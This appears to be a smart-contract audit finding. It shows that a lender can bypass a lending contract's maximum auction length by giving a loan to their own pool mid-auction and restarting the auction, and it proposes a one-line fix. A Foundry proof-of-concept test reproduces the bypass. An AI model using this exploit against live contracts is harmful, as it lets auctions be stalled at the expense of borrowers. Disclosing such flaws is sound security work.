The Lender contract has a max auction Length of 3 days, however, he can extend it by paying too low fees, which can be considered negligible, this happens by calling the giveLoan function when the auction has started and giving the Loan to your own pool.
A user can start an auction and since it must be 3 days before the liquation if he did not get what he wants he can extend it as long as wants to pay too low fees causing him to bypass the MAX_AUCTION_LENGTH.
Check that the user is not giving his loan to the same poolId ( since the user can only have 1 pool because the poolID is a combination of address, loan, and collateral token ) or make sure that when the auction started he cannot give the loan.
In giveLoan function add: if (oldPoolId == poolId) revert ...;
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1_000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(loanToken.balanceOf(address(borrower)), 995 * 10 ** 17);
assertEq(collateralToken.balanceOf(address(lender)), 100 * 10 ** 18);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 900 * 10 ** 18);
}
function startAuction() public {
borrow();
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
(, , , , , , , , uint256 startTime, ) = lender.loans(0);
assertEq(startTime, block.timestamp);
}
function getLoanAuctionStartTimestamp() public returns (uint256) {
(, , , , , , , , uint256 startTime, ) = lender.loans(0);
return startTime;
}
function getLoanAuctionEndTimestamp() public returns (uint256) {
(, , , , , , , , uint256 start, uint256 length) = lender.loans(0);
return start + length;
}
function test_bypass_auction_length_limit() public {
borrow();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = keccak256(
abi.encode(
address(lender1),
address(loanToken),
address(collateralToken)
)
);
uint256 auctionStartTimestampBeforeAuction = getLoanAuctionStartTimestamp();
console.log(
"auctionStartTimestamp Before Auction",
auctionStartTimestampBeforeAuction
);
vm.startPrank(lender1);
lender.startAuction(loanIds);
uint256 auctionStartTimestampAfterFirstAuction = getLoanAuctionStartTimestamp();
uint256 endTimeAfterFirstAuction = getLoanAuctionEndTimestamp();
console.log("---------------------------------------");
console.log(
"auctionStartTimestamp After First Auction",
auctionStartTimestampAfterFirstAuction
);
console.log(
"auctionEndTimestamp After First Auction",
endTimeAfterFirstAuction
);
vm.warp(block.timestamp + 23 hours);
lender.giveLoan(loanIds, poolIds);
uint256 auctionStartTimestampAfterGiveLoan = getLoanAuctionStartTimestamp();
console.log("---------------------------------------");
console.log(
"auctionStartTimestamp After Give Loan",
auctionStartTimestampAfterGiveLoan
);
lender.startAuction(loanIds);
uint256 auctionStartTimestampAfterSecondAuction = getLoanAuctionStartTimestamp();
uint256 endTimeAfterSecondAuction = getLoanAuctionEndTimestamp();
console.log("---------------------------------------");
console.log(
"auctionStartTimestamp After Second Auction",
auctionStartTimestampAfterSecondAuction
);
console.log(
"auctionEndTimestamp After Second Auction",
endTimeAfterSecondAuction
);
}
}
You should get similar results, showing how the end date of the auction was extended: